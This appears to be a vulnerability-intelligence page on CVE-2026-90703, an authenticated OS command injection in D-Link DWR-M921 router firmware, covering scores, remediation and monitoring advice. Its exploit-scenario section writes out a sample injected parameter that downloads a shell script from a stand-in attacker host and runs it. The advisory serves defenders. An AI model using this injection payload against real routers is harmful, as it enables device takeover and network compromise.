What is the CVSS score of CVE-2026-90703?

CVE-2026-90703 has a CVSS 4.0 base score of 8.5 (High). CVSS vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P. EPSS exploitation probability: 2.8%.

Is there a public PoC exploit available for CVE-2026-90703?

Yes, a public proof-of-concept exploit is available for CVE-2026-90703. Prioritise patching immediately. EPSS: 2.8%.

How to fix or mitigate CVE-2026-90703?

Within 24 hours, inventory all D-Link DWR-M921 devices and confirm firmware version 1.1.52; since publicly available exploit code exists, immediately change all administrative credentials and restrict admin access to VPN or IP allowlist only. Within 7 days, disable remote administration entirely if operationally feasible, implement network segmentation isolating these routers, and establish monitoring for suspicious authentication attempts and command-like patterns in web server logs. Within 30 days, contact D-Link for firmware updates or device replacement, as no security patch has been released to date; develop a migration plan to alternative router models if patched firmware is not available within 60 days.

D-Link DWR-M921 CVE-2026-90703

EUVD-2026-77345 HIGH

OS Command Injection (CWE-78)

2026-09-14 VulDB

GHSA-89fx-gf5c-99rg

Command Injection D-Link D-Link Dwr M921

8.5

CVSS 4.0 · Vendor: VulDB

View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

Access

Obtain admin credentials (default or brute-forced)
Delivery

Authenticate to BoA web interface
Exploit

Submit crafted POST to /boafrm/formDiskCreateShare
Execution

Inject shell metacharacters in folderpath
Persist

System() executes injected OS commands
Impact

Full router OS compromise

Vulnerability Assessment

Weakness	CWE CWE-78 OWASP Top 10:2025 A05:2025 - Injection ASVS 5.0 V1 - Encoding and Sanitization OS command sanitization, avoid shell exec MITRE ATT&CK 2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. Sign in to read
Exploitation Conditions	Exploitation requires prior authentication to the router's web management interface with administrative privileges (PR:H in the CVSS vector). The `formDiskCreateShare` endpoint is part of the disk/USB share management feature, so USB storage sharing functionality must be accessible (likely enabled by default when a USB device is connected). Remote exploitation over the WAN is possible only if the router's web management interface is exposed on the WAN interface, which is a non-default configuration on most SOHO routers. Exploitation over the LAN requires the attacker to be on the local network or have LAN access. What limits exploitation: requirement for valid admin credentials; WAN exposure is non-default; vulnerability is tied to a specific firmware version (1.1.52 confirmed).
Impact	The provided CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:H/UI:N with full H-rated impact) and score of 8.5 accurately reflects the key mitigating factor: PR:H requires prior administrative authentication. This meaningfully constrains the attack surface compared to unauthenticated pre-auth injection. Real-world risk is moderate-to-high for environments with default or weak admin credentials, which are endemic in SOHO D-Link deployments - effectively lowering the practical barrier. A public PoC exploit exists (GitHub gist), which shifts risk upward. No CISA KEV listing, and EPSS data is not provided in the input. The firmware is version-specific (1.1.52), and D-Link's support lifecycle for this model is unclear, raising concern about patch availability. The CVSS 4.0 E:P (proof-of-concept exploit exists) modifier is already embedded in the provided vector, which is appropriate. No conflicting signals between vector and description - the PR:H requirement is the primary risk limiter.
Exploit ScenarioDerived	An attacker who has obtained D-Link DWR-M921 admin credentials - either through credential stuffing against default `admin`/`admin` credentials, credential reuse, or network interception - sends a crafted HTTP POST to `/boafrm/formDiskCreateShare` with a `folderpath` value such as `legit_folder; wget http://attacker.com/shell.sh -O /tmp/s; sh /tmp/s`. The BoA server passes this directly to `system()`, executing the injected commands as the router's privileged OS user. A public PoC demonstrating this technique has been published on GitHub.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).

1 PoC candidate (unverified) No patch listed yet 2.8% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Sep 14, 2026

Authenticated OS command injection in D-Link DWR-M921 firmware 1.1.52 allows a remote attacker with administrative credentials to execute arbitrary system commands on the router by injecting shell metacharacters into the folderpath parameter of the /boafrm/formDiskCreateShare endpoint, which passes the value unsanitized to a system() call. The affected endpoint handles USB disk share creation via the BoA embedded web server. A public proof-of-concept exploit has been disclosed on GitHub by researcher H3rmesk1t, though no active exploitation has been confirmed by CISA KEV at time of analysis.

Earlier versions of this analysis (1)

v1 Sep 14, 2026 - 10:20 CVSS 9.4

OS command injection in D-Link DWR-M921 router firmware 1.1.52 allows an authenticated attacker to execute arbitrary operating-system commands by injecting into the folderpath argument of the /boafrm/formDiskCreateShare handler. The flaw resides in the device's boa web server disk-share creation function, which passes attacker-controlled input into a system() call without sanitization. Publicly available exploit code exists (disclosed via a GitHub gist and cataloged by VulDB); there is no public exploit identified as being actively used in the wild and it is not in CISA KEV.

RemediationAI

No vendor-released patch with an explicit fixed version has been identified from the available references at time of analysis. Users should immediately change the router admin password from any default or weak credential to a strong, unique password, as PR:H exploitation depends on valid admin access. Disable remote (WAN-side) access to the router management interface if not operationally required, and restrict LAN-side access to the web UI to trusted hosts where possible using firewall ACLs. As a compensating control, disabling USB disk sharing functionality (if not needed) would remove the vulnerable code path entirely. Monitor the D-Link security advisory page at https://www.dlink.com/ for firmware updates. If this device is end-of-life, consider replacement with a supported model, as EOL devices frequently go unpatched.

Affected VersionsENISA

DWR-M921 1.1.52

Affected Packages

euvd dwr_m921 no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The D-Link DWR-M921 is an LTE/4G SOHO router running firmware version 1.1.52 with an embedded BoA HTTP server. The vulnerable endpoint /boafrm/formDiskCreateShare is part of the router's disk/USB share management interface. The root cause (CWE-78: Improper Neutralization of Special Elements used in an OS Command) stems from the C-language system() function receiving the user-supplied folderpath CGI argument without sanitization or escaping, enabling classic shell metacharacter injection (e.g., ;, |, &&). The affected CPE is cpe:2.3:a:d-link:dwr-m921:*:*:*:*:*:*:*:* at firmware 1.1.52. Scope change is relevant as injected commands run in the context of the router OS, potentially affecting all downstream network traffic and connected hosts.

Know when Dwr M921 gets its next vulnerability

Watch products and get an email when something new is published
Check this CVE against your own stack and servers
Exploit and PoC references, threat intelligence from 22 sources

Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 8.5 CRITICAL

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P

vuln.today AI 9.1 CRITICAL

Network-reachable web interface, but admin credentials required (PR:H); scope changes to router OS affecting downstream network.

3.1 AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

4.0 AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector

Network

Attack Complexity

Low

Attack Requirements

None

Privileges Required

High

User Interaction

None

Vulnerable system: Confidentiality

High

Vulnerable system: Integrity

High

Vulnerable system: Availability

High

Subsequent system: Confidentiality

High

Subsequent system: Integrity

High

Subsequent system: Availability

High

Lifecycle Timeline

Analysis Updated

Sep 14, 2026 - 10:28 vuln.today

v2 - CVSS changed

Severity Changed

Sep 14, 2026 - 10:22 NVD

CRITICAL HIGH

CVSS changed

Sep 14, 2026 - 10:22 NVD

9.4 (CRITICAL) 8.5 (HIGH)

CVE Published

Sep 14, 2026 - 09:45 cve.org

CRITICAL 9.4

DescriptionCVE.org

A vulnerability has been found in D-Link DWR-M921 1.1.52. The affected element is the function system of the file /boafrm/formDiskCreateShare. Such manipulation of the argument folderpath leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.

Technical POC Analysis

CWE-78 (OS command injection) in the D-Link DWR-M921 firmware V1.1.52 BoA web server binary /bin/boa.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Latest POC

1 PoC candidate from github (unverified)

Executive ViewAI

Why It Matters

D-Link DWR-M921 routers running firmware 1.1.52 contain a remote code execution vulnerability accessible to administrative users, enabling attackers with valid credentials to execute arbitrary commands and gain complete control of the device. Organizations relying on these routers face network compromise and potential lateral movement into internal systems.

Business Impact: High

Compensating Controls

Until vendor-released patch is available: (1) restrict administrative web access exclusively through VPN and IP allowlists, disabling all remote administration if possible; (2) enforce unique strong passwords for all administrative accounts and implement multi-factor authentication at network boundary; (3) deploy network segmentation and IDS/IPS rules to monitor for shell metacharacter injection attempts against the affected endpoint; (4) enable and centralize logging of all administrative access and system calls; (5) implement continuous monitoring for unauthorized device configuration changes or unexpected command execution.

Threat Intelligence Overview

EPSS Score

2.8%

Top 14% exploitable

Prevalence

Low

specific SOHO LTE router model, limited enterprise footprint

Social Media

Sightings

Data Quality

6 sources

Confidence: High

EUVD

NVD

CVE.org

EPSS CIRCL

GitHub

VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue

Severity HIGH

CISA KEV No

Public POC Yes

EPSS 2.8%

Patch available No

Active threat No

Deciding rule

HIGH severity (CVSS 7.0-8.9)

What every action level means

Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.

Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.

This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.

This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.

Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.